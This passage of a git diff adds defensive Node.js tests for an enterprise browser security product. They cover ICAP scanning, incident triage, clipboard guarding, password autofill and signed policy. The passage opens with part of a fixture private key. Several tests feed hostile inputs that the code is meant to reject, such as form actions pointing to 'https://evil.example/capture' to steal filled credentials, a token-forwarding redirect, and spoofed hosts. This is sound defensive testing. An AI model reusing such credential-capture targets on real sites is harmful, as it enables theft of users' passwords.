+/QsRD3gcDzHTEJYQDAEW4bJXsb1ywRBXUfhdJWYA5mxiDRJ9nl9aeb7NGCfTRnia +Z8FTmx8Sv0V2HGOmQZDZTxEIngh3TF8SFkEvcU1X8GiRUQTFaMrXthoFAoGANIwa +LUO4gAHJZaoabh48hjM/pMcDC18mVqAoA54mRHDxRSiXtCcRn5fGE1S4INwSeRag +tUBdr5188CaZDeuDmEa9z+c0kpxTtD0QqPEfwSpowcseKfMtullx4aI8cqkFTDJH +NgigEkmvJlDyF//3pX4pubqm2S7Vbz6VKLbGmSECgYBjCPGqoNi4pQ+Olt/Wx7pK +HzRp8o6aDzNToAZTg9/ybJFnXzD7GtRCeI+ubbYDZGmyj39n1I5h3y2KwuCzo5Up +5ufSUQR3Hfiv/YiaaS8clrgdvcCw2U/4rAMPq5fvB+7LVZb755RaZ3WALkKO8OMQ +QGcrm42aN1rXppaS9ATmrg== +-----END PRIVATE KEY----- diff --git a/tests/icap-client.test.mjs b/tests/icap-client.test.mjs new file mode 100644 index 0000000..1da2940 --- /dev/null +++ b/tests/icap-client.test.mjs @@ -0,0 +1,38 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import net from 'node:net'; +import tls from 'node:tls'; +import fs from 'node:fs'; +import {createRequire} from 'node:module'; +const {scanIcap,probeIcap}=createRequire(import.meta.url)('../apps/browser/icap-client.cjs'); +const cert=fs.readFileSync(new URL('./fixtures/icap/cert.pem',import.meta.url)); +const key=fs.readFileSync(new URL('./fixtures/icap/key.pem',import.meta.url)); +async function fixture(t,{secure=false,response='ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n',allow=true,methods='RESPMOD, REQMOD',fragment=false}={}) { + const requests=[]; const sockets=new Set(); + const handler=socket=>{sockets.add(socket);socket.on('error',()=>{});socket.on('close',()=>sockets.delete(socket));let input=Buffer.alloc(0),done=false; + socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);const boundary=input.indexOf('\r\n\r\n');if(done||boundary<0)return; + const options=input.subarray(0,7).toString()==='OPTIONS'; + if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return; + done=true;requests.push(Buffer.from(input)); + const output=options?`ICAP/1.0 200 OK\r\nMethods: ${methods}\r\nISTag: "fixture"\r\n${allow?'Allow: 204\r\n':''}Encapsulated: null-body=0\r\n\r\n`:response; + if(output===null)return; + if(fragment){socket.write(output.slice(0,18));setTimeout(()=>socket.end(output.slice(18)),5);}else socket.end(output); + });}; + const server=secure?tls.createServer({key,cert},handler):net.createServer(handler); + await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve)); + t.after(async()=>{for(const socket of sockets)socket.destroy();await new Promise(resolve=>server.close(resolve));}); + return {requests,config:{url:`${secure?'icaps':'icap'}://127.0.0.1:${server.address().port}/av`,method:'RESPMOD',allow204:true,timeoutMs:500,maxBytes:1024}}; +} +test('full-message fragmented ICAP exchange allows unchanged bytes and omits private metadata',async t=>{ + const f=await fixture(t,{fragment:true});const bytes=Buffer.from('public fixture');const r=await scanIcap(bytes,f.config); + assert.equal(r.decision,'allow');assert.equal(r.coverage.complete,true);assert.equal(r.bytes,bytes.length); + const scan=f.requests[1].toString();assert.match(scan,/RESPMOD .* ICAP\/1.0/);assert.match(scan,/Allow: 204/);assert.match(scan,/Encapsulated: res-hdr=0, res-body=\d+/);assert.ok(scan.endsWith('e\r\npublic fixture\r\n0\r\n\r\n'));assert.ok(!scan.includes('Preview:')); +}); +test('REQMOD has genuine request-header and request-body sections',async t=>{const f=await fixture(t);f.config.method='REQMOD';assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'allow');assert.match(f.requests[1].toString(),/req-hdr=0, req-body=\d+/);assert.match(f.requests[1].toString(),/POST \/scan\/object HTTP\/1.1/);}); +test('server adaptations and threat headers block the original',async t=>{for(const response of ['ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden','ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\nX-Infection-Found: Type=0; Threat=fixture;\r\n\r\n']){const f=await fixture(t,{response});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');}}); +test('204 requires explicit signed opt-in and server capability agreement',async t=>{const f=await fixture(t);f.config.allow204=false;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');const g=await fixture(t,{allow:false});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).ruleId,'icap-capability');assert.equal(g.requests.length,1);}); +test('unsupported service and malformed duplicate headers fail closed',async t=>{const f=await fixture(t,{methods:'REQMOD'});assert.equal((await probeIcap(f.config)).ready,false);const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nISTag: "one"\r\nISTag: "two"\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);}); +test('deadline destroys stalled sockets, oversized content is never transmitted',async t=>{const f=await fixture(t,{response:null});f.config.timeoutMs=60;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-unavailable');f.config.maxBytes=2;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-oversize');}); +test('ICAPS validates CA and hostname and never accepts untrusted certificates',async t=>{const f=await fixture(t,{secure:true});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');assert.equal((await scanIcap(Buffer.from('abc'),f.config,{ca:cert})).decision,'allow');assert.equal((await probeIcap(f.config,{ca:cert})).tls,true);}); +test('URL credentials, query strings and nonloopback plaintext require safe configuration',async()=>{for(const url of ['icap://user:secret@localhost/av','icap://localhost/av?token=secret','icap://example.com/av','icap://127.evil.example/av','icap://localhost:0/av','http://localhost/av'])assert.equal((await scanIcap(Buffer.from('abc'),{url})).decision,'block');}); +test('input mutation cannot alter bytes during negotiation and malformed oversized headers block',async t=>{const f=await fixture(t);const input=Buffer.from('abc');const pending=scanIcap(input,f.config);input.fill(120);assert.equal((await pending).decision,'allow');assert.ok(f.requests[1].includes(Buffer.from('3\r\nabc\r\n0\r\n\r\n')));const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nX-Excess: '+ 'a'.repeat(33000)+'\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);}); diff --git a/tests/incidents.test.mjs b/tests/incidents.test.mjs new file mode 100644 index 0000000..5f3d237 --- /dev/null +++ b/tests/incidents.test.mjs @@ -0,0 +1,9 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs'; +async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'safetynet-incidents-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});return {store,api:async(path,method='GET',body,role='operator')=>{const token=`synthetic-incident-${role}-credential-1234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}/api/admin/incidents${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}};} +test('incident creates once from immutable event and detail strips payloads',async t=>{const {store,api}=await fixture(t);store.event('device','upload.blocked',{ruleId:'confidential',host:'example.test',prompt:'secret synthetic prompt',document:'secret synthetic document'});const a=await api('','POST',{eventId:1,severity:'high'});assert.equal(a.status,201);assert.equal(a.body.revision,1);assert.equal(a.body.event.metadata.prompt,undefined);assert.equal(a.body.event.metadata.document,undefined);assert.equal((await api('','POST',{eventId:1})).status,409);assert.equal((await api('','POST',{eventId:999})).status,404);const d=await api('/'+a.body.id);assert.equal(d.body.history.length,1);assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=1').get().kind,'upload.blocked');assert.equal((await api('','POST',{eventId:2})).status,400);}); +test('triage is revision bound and comments remain outside ordinary audit/SIEM',async t=>{const {store,api}=await fixture(t);store.event(null,'clipboard.blocked',{});const a=await api('','POST',{eventId:1});const id=a.body.id,comment='Contacted owner; synthetic investigation note.';const b=await api('/'+id,'PATCH',{expectedRevision:1,status:'investigating',assignee:'analyst-sub',comment});assert.equal(b.status,200);assert.equal(b.body.revision,2);assert.equal((await api('/'+id,'PATCH',{expectedRevision:1,status:'resolved'})).status,409);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'x'.repeat(1001)})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'\u0000bad'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,document:'payload'})).status,400);const d=await api('/'+id);assert.equal(d.body.history[1].comment,comment);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='incident.updated'").get().metadata;assert.equal(audit.includes(comment),false);assert.equal(JSON.parse(audit).commentLength,comment.length);assert.equal(JSON.parse(audit).commentSha256,undefined);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,assignee:'bad\nsubject'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,status:'resolved',assignee:null})).status,200);assert.equal((await api('/'+id,'PATCH',{expectedRevision:3,status:'open'})).status,200);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,4);}); +test('auditor cannot triage and unrecognized routes never gain permissions',async t=>{const {store,api}=await fixture(t);store.event(null,'dns.blocked',{});const a=await api('','POST',{eventId:1});assert.equal((await api('','GET',null,'auditor')).status,200);assert.equal((await api('/'+a.body.id,'GET',null,'auditor')).status,200);assert.equal((await api('','POST',{eventId:1},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'PATCH',{expectedRevision:1,status:'resolved'},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'DELETE')).status,403);assert.equal((await api('/not-a-uuid')).status,400);}); +test('filters and pagination are bounded and deterministic',async t=>{const {store,api}=await fixture(t);for(let i=0;i<3;i++){store.event(null,'upload.blocked',{});const source=store.db.prepare("SELECT id FROM events WHERE kind='upload.blocked' ORDER BY id DESC LIMIT 1").get();await api('','POST',{eventId:source.id,severity:i===0?'low':'high'});}const first=await api('?limit=1&severity=high');assert.equal(first.body.incidents.length,1);assert.ok(first.body.nextBefore);const next=await api('?limit=1&severity=high&before='+first.body.nextBefore);assert.equal(next.body.incidents.length,1);assert.notEqual(first.body.incidents[0].id,next.body.incidents[0].id);assert.equal(next.body.nextBefore,null);assert.equal((await api('?status=resolved')).body.incidents.length,0);assert.equal((await api('?limit=101')).status,400);assert.equal((await api('?status=bogus')).status,400);}); +test('audit failure rolls back case creation and triage history atomically',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{});const emit=store.event;store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('','POST',{eventId:1})).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_cases').get().n,0);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,0);store.event=emit;const created=await api('','POST',{eventId:1});store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved'})).status,500);assert.equal(store.db.prepare('SELECT revision,status FROM incident_cases').get().revision,1);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,1);store.event=emit;}); + +test('real resolved incident retains source and immutable history through event retention',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{ruleId:'confidential'});const source=store.db.prepare('SELECT id FROM events ORDER BY id DESC LIMIT 1').get().id;const created=await api('','POST',{eventId:source});const resolved=await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved',comment:'Synthetic resolution note'});assert.equal(resolved.status,200);store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');const result=pruneAuditEvents(store,{days:30,exportedThrough:100,dryRun:false});assert.ok(result.eligible>0);const detail=await api('/'+created.body.id);assert.equal(detail.status,200);assert.equal(detail.body.status,'resolved');assert.equal(detail.body.event.id,source);assert.equal(detail.body.history.length,2);assert.equal(detail.body.history[1].comment,'Synthetic resolution note');assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=?').get(source).kind,'upload.blocked');}); diff --git a/tests/inspector-paths.test.mjs b/tests/inspector-paths.test.mjs new file mode 100644 index 0000000..0086ef2 --- /dev/null +++ b/tests/inspector-paths.test.mjs @@ -0,0 +1,27 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {mkdtempSync,mkdirSync,writeFileSync,rmSync,symlinkSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import path from 'node:path'; +const {privateInspectorPaths}=createRequire(import.meta.url)('../apps/browser/inspection.cjs'); +function fixture(t,packaged=false){ + const root=mkdtempSync(path.join(tmpdir(),'safetynet-inspector-paths-')); + const python=path.join(root,packaged?'python/python.exe':'.runtime/windows/python/python.exe'),script=path.join(root,packaged?'inspector/server.py':'apps/inspector/server.py'); + for(const file of [python,script]){mkdirSync(path.dirname(file),{recursive:true});writeFileSync(file,'synthetic fixture');} + t.after(()=>{assert.ok(path.resolve(root).startsWith(path.resolve(tmpdir())+path.sep));assert.ok(path.basename(root).startsWith('safetynet-inspector-paths-'));rmSync(root,{recursive:true,force:true});}); + return {root,python,script}; +} +test('inspector accepts only its own staged or packaged runtime and source',t=>{ + for(const packaged of [false,true]){const f=fixture(t,packaged);assert.deepEqual(privateInspectorPaths(f.root,packaged,{}),{python:f.python,script:f.script});assert.deepEqual(privateInspectorPaths(f.root,packaged,{SAFETYNET_PYTHON:f.python,SAFETYNET_INSPECTOR_SCRIPT:f.script}),{python:f.python,script:f.script});} +}); +test('external runtime and parser overrides are rejected without launching or granting access',t=>{ + const f=fixture(t),other=fixture(t); + assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_PYTHON:other.python}),null); + assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_INSPECTOR_SCRIPT:other.script}),null); + assert.equal(privateInspectorPaths(path.join(f.root,'missing'),false,{}),null); +}); +test('a linked installation root cannot redirect grants to another tree',t=>{ + const f=fixture(t),link=path.join(f.root,'linked-root');symlinkSync(f.root,link,process.platform==='win32'?'junction':'dir'); + assert.equal(privateInspectorPaths(link,false,{}),null); +}); diff --git a/tests/loopback-http.test.mjs b/tests/loopback-http.test.mjs new file mode 100644 index 0000000..9d76642 --- /dev/null +++ b/tests/loopback-http.test.mjs @@ -0,0 +1,19 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createServer} from 'node:http'; +import {createRequire} from 'node:module'; +const {postLoopback}=createRequire(import.meta.url)('../apps/browser/loopback-http.cjs'); +async function server(t,handler){const s=createServer(handler).listen(0,'127.0.0.1');await new Promise(r=>s.on('listening',r));t.after(()=>new Promise(r=>s.close(r)));return s.address().port;} +test('private local requests use direct authenticated loopback transport',async t=>{ + const port=await server(t,(req,res)=>{assert.equal(req.headers.authorization,'Bearer test-capability');assert.equal(req.url,'/inspect');let body='';req.on('data',data=>body+=data);req.on('end',()=>{assert.deepEqual(JSON.parse(body),{content:'private fixture'});res.end(JSON.stringify({decision:'allow'}));});}); + assert.equal((await postLoopback({port,route:'/inspect',token:'test-capability',body:{content:'private fixture'},signal:AbortSignal.timeout(2000)})).body.decision,'allow'); +}); +test('redirects cannot forward local capabilities or content',async t=>{ + let forwarded=0;const target=await server(t,(_req,res)=>{forwarded++;res.end('{}');}); + const port=await server(t,(_req,res)=>{res.writeHead(307,{location:`http://127.0.0.1:${target}/capture`});res.end('{}');}); + await assert.rejects(postLoopback({port,route:'/inspect',token:'private-capability',body:{content:'private'},signal:AbortSignal.timeout(2000)}),/redirects/);assert.equal(forwarded,0); +}); +test('oversized scanner replies fail closed',async t=>{ + const port=await server(t,(_req,res)=>res.end(JSON.stringify({data:'x'.repeat(4096)}))); + await assert.rejects(postLoopback({port,route:'/inspect',token:'test-capability',body:{},maxResponseBytes:100,signal:AbortSignal.timeout(2000)}),/budget/); +}); diff --git a/tests/managed-settings.test.mjs b/tests/managed-settings.test.mjs new file mode 100644 index 0000000..f6c28eb --- /dev/null +++ b/tests/managed-settings.test.mjs @@ -0,0 +1,32 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const {settingsState,sectionAllowed,featureAllowed,requireSection,validateAppearance}=createRequire(import.meta.url)('../apps/browser/managed-settings.cjs'); +const policy=(settings={})=>({expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings}}); +test('managed settings reject direct access before enrollment, while paused and after policy expiry',()=>{ + for(const context of [{ready:true},{policy:policy(),ready:false},{policy:{...policy(),expiresAt:new Date(0).toISOString()},ready:true}]){ + const state=settingsState(context);assert.equal(state.visible,false);assert.throws(()=>requireSection(state,'appearance')); + } +}); +test('hidden and locked sections deny operations while other sections remain available',()=>{ + const state=settingsState({ready:true,policy:policy({hiddenSections:['passwords'],lockedSections:['documentScan']})}); + assert.throws(()=>requireSection(state,'passwords'));assert.throws(()=>requireSection(state,'documentScan'));assert.equal(sectionAllowed(state,'ai'),true);assert.equal(sectionAllowed(state,'invented'),false); +}); +test('global hidden settings reject every direct section operation',()=>{ + const state=settingsState({ready:true,policy:policy({visible:false})}); + for(const section of ['appearance','library','ai','passwords','documentScan','agents'])assert.throws(()=>requireSection(state,section)); +}); +test('signed appearance replaces local overrides immediately when locked or hidden',()=>{ + const appearance={mode:'dark',accent:'violet',tabMode:'compact'},preferences={mode:'light',accent:'blue',tabMode:'separate'}; + for(const constraints of [{visible:false},{hiddenSections:['appearance']},{lockedSections:['appearance']}])assert.deepEqual(settingsState({ready:true,policy:policy({...constraints,appearance}),preferences}).appearance,appearance); + assert.deepEqual(settingsState({ready:true,policy:policy({appearance}),preferences}).appearance,preferences); +}); +test('appearance updates reject malformed values, unknown fields and prototype-shaped payloads',()=>{ + for(const value of [null,[],{},'dark',{mode:'auto'},{accent:'red'},{tabMode:'unknown'},{security:false},{__proto__:{mode:'dark'}}])assert.throws(()=>validateAppearance(value)); + assert.deepEqual(validateAppearance({mode:'system',accent:'teal'}),{mode:'system',accent:'teal'}); +}); + +test('hiding settings preserves approved feature use but explicit hidden or locked features deny access',()=>{ + const state=settingsState({ready:true,policy:policy({visible:false,hiddenSections:['passwords'],lockedSections:['agents']})}); + assert.equal(featureAllowed(state,'ai'),true);assert.equal(featureAllowed(state,'documentScan'),true);assert.equal(featureAllowed(state,'passwords'),false);assert.equal(featureAllowed(state,'agents'),false);assert.equal(sectionAllowed(state,'appearance'),false); +}); diff --git a/tests/network-posture.test.mjs b/tests/network-posture.test.mjs new file mode 100644 index 0000000..14c3e90 --- /dev/null +++ b/tests/network-posture.test.mjs @@ -0,0 +1,12 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const {resolverOptions,evaluatePosture,probeWindows,createNetworkPosture}=createRequire(import.meta.url)('../apps/browser/network-posture.cjs'); +test('system DNS preserves OS resolution and disables automatic DoH upgrades',()=>assert.deepEqual(resolverOptions(),{enableBuiltInResolver:false,secureDnsMode:'off',secureDnsServers:[]})); +test('managed secure DNS has no insecure fallback',()=>{assert.deepEqual(resolverOptions({mode:'secure',templates:['https://dns.example/dns-query{?dns}']}),{enableBuiltInResolver:true,secureDnsMode:'secure',secureDnsServers:['https://dns.example/dns-query{?dns}']});for(const templates of [[],['http://dns.example'],['https://user:pass@dns.example']])assert.throws(()=>resolverOptions({mode:'secure',templates}));}); +const vpn={required:true,interfaceNames:['Company VPN'],requiredDnsServers:['10.0.0.53']}; +test('required adapter and DNS must belong to the same active adapter',()=>{assert.equal(evaluatePosture(vpn,[{name:'company vpn',dns:['10.0.0.53']}]).allowed,true);assert.equal(evaluatePosture(vpn,[{name:'Company VPN',dns:[]},{name:'Wi-Fi',dns:['10.0.0.53']}]).allowed,false);assert.equal(evaluatePosture({...vpn,interfaceNames:[]},[]).allowed,false);assert.equal(evaluatePosture(vpn,null).allowed,false);}); +test('optional VPN makes no OS probe and concurrent checks share bounded work',async()=>{let calls=0;const gate=createNetworkPosture({probe:async()=>{calls++;await new Promise(r=>setTimeout(r,5));return [{name:'Company VPN',dns:['10.0.0.53']}];}});assert.equal((await gate.check({required:false})).allowed,true);assert.equal(calls,0);assert.deepEqual((await Promise.all([gate.check(vpn),gate.check(vpn)])).map(r=>r.allowed),[true,true]);assert.equal(calls,1);}); +test('failed network probe blocks and cannot approve required posture',async()=>{const gate=createNetworkPosture({probe:async()=>{throw Error('private diagnostic');}});assert.deepEqual(await gate.check(vpn),{allowed:false,reason:'probe-unavailable'});await assert.rejects(probeWindows({platform:'linux'}));}); +test('Windows probe uses static command and bounded hidden execution',async()=>{let captured;const result=await probeWindows({platform:'win32',run:(exe,args,options,done)=>{captured={exe,args,options};done(null,'[{"name":"VPN", "dns":[]}]');}});assert.equal(result[0].name,'VPN');assert.equal(captured.options.windowsHide,true);assert.equal(captured.options.timeout,10000);assert.equal(captured.options.maxBuffer,65536);assert.match(captured.args.at(-1),/Get-NetAdapter/);await assert.rejects(probeWindows({platform:'win32',run:(_exe,_args,_options,done)=>done(null,'{"name":"VPN"}')}));}); + diff --git a/tests/page-clipboard-guard.test.mjs b/tests/page-clipboard-guard.test.mjs new file mode 100644 index 0000000..a3438da --- /dev/null +++ b/tests/page-clipboard-guard.test.mjs @@ -0,0 +1,43 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {EventEmitter} from 'node:events'; +import {createRequire} from 'node:module'; +import vm from 'node:vm'; +const require=createRequire(import.meta.url); +const {attachPageClipboardGuard,guardedScreenshot,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +const {capturePNG}=require('../apps/browser/visual-capture.cjs'); +function fixture(valid=true){ + const api=new EventEmitter(),commands=[];let attached=false,detaches=0,failures=0; + api.isAttached=()=>attached;api.attach=version=>{assert.equal(version,'1.3');attached=true;}; + api.detach=()=>{attached=false;detaches++;api.emit('detach');}; + const png=Buffer.from('Public bounded screenshot fixture'); + api.sendCommand=async(method,parameters)=>{commands.push({method,parameters});if(method==='Page.addScriptToEvaluateOnNewDocument')return valid?{identifier:'fixed-guard'}:{};if(method==='Page.captureScreenshot')return {data:png.toString('base64')};return {};}; + const contents={debugger:api,isDestroyed:()=>false}; + return {api,contents,commands,png,detachCount:()=>detaches,failureCount:()=>failures,initialize:()=>attachPageClipboardGuard(contents,()=>failures++)}; +} +test('static page guard registers only fixed initialization and shares screenshot without detaching',async()=>{ + const f=fixture();await f.initialize();assert.deepEqual(f.commands.map(c=>c.method),['Page.enable','Page.addScriptToEvaluateOnNewDocument']); + assert.equal(/require\(|ipcRenderer|process\./.test(f.commands[1].parameters.source),false); + assert.deepEqual(await capturePNG(f.contents),f.png);assert.equal(f.commands.at(-1).method,'Page.captureScreenshot');assert.equal(f.detachCount(),0); + disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1);assert.equal(f.failureCount(),0);assert.equal(guardedScreenshot(f.contents,{}),null); +}); +test('unknown attachment and invalid initialization cannot gain trusted screenshot ownership',async()=>{ + const occupied=fixture();occupied.api.attach('1.3');await assert.rejects(occupied.initialize());assert.equal(occupied.commands.length,0); + const invalid=fixture(false);await assert.rejects(invalid.initialize());assert.equal(invalid.detachCount(),1);assert.equal(guardedScreenshot(invalid.contents,{}),null); +}); +test('unexpected disconnect revokes ownership and reports failure; deliberate disposal is idempotent',async()=>{ + const f=fixture();await f.initialize();f.api.detach();assert.equal(f.failureCount(),1);assert.equal(guardedScreenshot(f.contents,{}),null);disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1); +}); +test('new-frame source freezes clipboard and replacement primitives against page tampering',async()=>{ + const f=fixture();await f.initialize();const native=[]; + class Document{execCommand(command){native.push(command);return true;}open(){return 'opened';}write(){}writeln(){}} + const listeners=[],realm={Document,DOMException,window:{addEventListener:(name,handler,capture)=>listeners.push({name,handler,capture})}}; + vm.createContext(realm);vm.runInContext(f.commands[1].parameters.source,realm); + const doc=new Document();for(const name of ['copy','cut','paste','PasteAndMatchStyle'])assert.equal(doc.execCommand(name),false); + assert.equal(doc.execCommand('insertText'),true);assert.deepEqual(native,['insertText']); + for(const name of ['open','write','writeln'])assert.throws(()=>doc[name](),error=>error.name==='SecurityError'); + vm.runInContext('Reflect.apply=()=>true;RegExp.prototype.test=()=>false;',realm);assert.equal(doc.execCommand('copy'),false); + assert.throws(()=>Object.defineProperty(Document.prototype,'execCommand',{value:()=>true})); + for(const name of ['copy','cut','paste','dragstart','drop']){let prevented=false,stopped=false;const listener=listeners.find(item=>item.name===name);assert.equal(listener.capture,true);listener.handler({preventDefault:()=>prevented=true,stopImmediatePropagation:()=>stopped=true});assert.equal(prevented&&stopped,true);} + disposePageClipboardGuard(f.contents); +}); diff --git a/tests/password-fill.test.mjs b/tests/password-fill.test.mjs new file mode 100644 index 0000000..2a9c682 --- /dev/null +++ b/tests/password-fill.test.mjs @@ -0,0 +1,30 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{fillScript}=require('../apps/browser/password-fill.cjs'); +const credential={origin:'https://work.example',username:'employee',password:'fixture-only-generated-password'}; +function fixture({url='https://work.example/login',action='https://work.example/signin',method='post',target='',visible=true,frame=false,multiple=false,override,focused=true,visibility='visible'}={}){ + class Input{constructor(type){this.type=type;this.name=type==='password'?'password':'username';this.autocomplete='';this.disabled=false;this.readOnly=false;}set value(value){this.stored=value;}get value(){return this.stored;}closest(){return null;}getClientRects(){return visible?[{}]:[];}dispatchEvent(){}} + const user=new Input('text'),password=new Input('password'); + const form={action,method,target,querySelectorAll:()=>[user,password]};user.form=form;password.form=form; + form.elements=override?[user,password,{getAttribute:name=>override[name]??null}]:[user,password]; + const window={isSecureContext:true};window.top=frame?{}:window; + return {user,password,context:vm.createContext({window,location:{href:url,origin:new URL(url).origin},document:{hasFocus:()=>focused,visibilityState:visibility,querySelectorAll:()=>multiple?[password,new Input('password')]:[password]},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'}),HTMLInputElement:Input,Event:class{},URL})}; +} +test('explicit fill sets exact-origin visible login fields without submitting',()=>{ + const f=fixture();assert.equal(vm.runInContext(fillScript('https://work.example/login',credential),f.context).completed,true);assert.equal(f.user.stored,credential.username);assert.equal(f.password.stored,credential.password); +}); +test('HTTP, subdomains and alternate ports cannot reuse saved credentials',()=>{ + for(const url of ['http://work.example/login','https://other.work.example/login','https://work.example:8443/login'])assert.throws(()=>fillScript(url,credential)); +}); +test('navigation, frames, cross-origin forms, GET, new-window, hidden and ambiguous targets fail before writing',()=>{ + for(const options of [{url:'https://work.example/changed'},{frame:true},{action:'https://evil.example/capture'},{action:'http://work.example/login'},{method:'get'},{target:'_blank'},{visible:false},{multiple:true},{override:{formaction:'https://evil.example/capture'}},{override:{formmethod:'get'}},{override:{formtarget:'_blank'}}]){ + const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context));assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined); + } +}); +test('expired policy cannot inject a password',()=>{assert.throws(()=>fillScript('https://work.example/login',credential,Date.now()-1));}); + +test('queued fill cannot write into a hidden or blurred target document',()=>{ + for(const options of [{focused:false},{visibility:'hidden'}]){const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context),/foreground/);assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined);} +}); diff --git a/tests/policy-assignment.test.mjs b/tests/policy-assignment.test.mjs new file mode 100644 index 0000000..d20c820 --- /dev/null +++ b/tests/policy-assignment.test.mjs @@ -0,0 +1,17 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {generateKeyPairSync} from 'node:crypto'; +import {defaultPolicy,signPolicy,verifyPolicy} from '../packages/core/policy.mjs'; +const {assertPolicyAssignment}=createRequire(import.meta.url)('../apps/browser/policy-assignment.cjs'); +test('signed effective policy cannot be reused for another enrolled device',()=>{ + const a='00000000-0000-4000-8000-000000000001',b='00000000-0000-4000-8000-000000000002'; + const keys=generateKeyPairSync('ed25519'); + const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'}); + const p={...defaultPolicy(),assignment:{deviceId:a,groups:[]}}; + const verified=verifyPolicy(signPolicy(p,privateKey),publicKey); + assert.equal(assertPolicyAssignment(verified,a),verified); + assert.throws(()=>assertPolicyAssignment(verified,b),/device assignment rejected/); + const legacy=verifyPolicy(signPolicy(defaultPolicy(),privateKey),publicKey); + assert.equal(assertPolicyAssignment(legacy,a),legacy); +}); diff --git a/tests/policy-channel.test.mjs b/tests/policy-channel.test.mjs new file mode 100644 index 0000000..f960967 --- /dev/null +++ b/tests/policy-channel.test.mjs @@ -0,0 +1,61 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {generateKeyPairSync} from 'node:crypto'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import channel from '../packages/core/policy-channel.cjs'; +import browser from '../apps/browser/management-channel.cjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +const 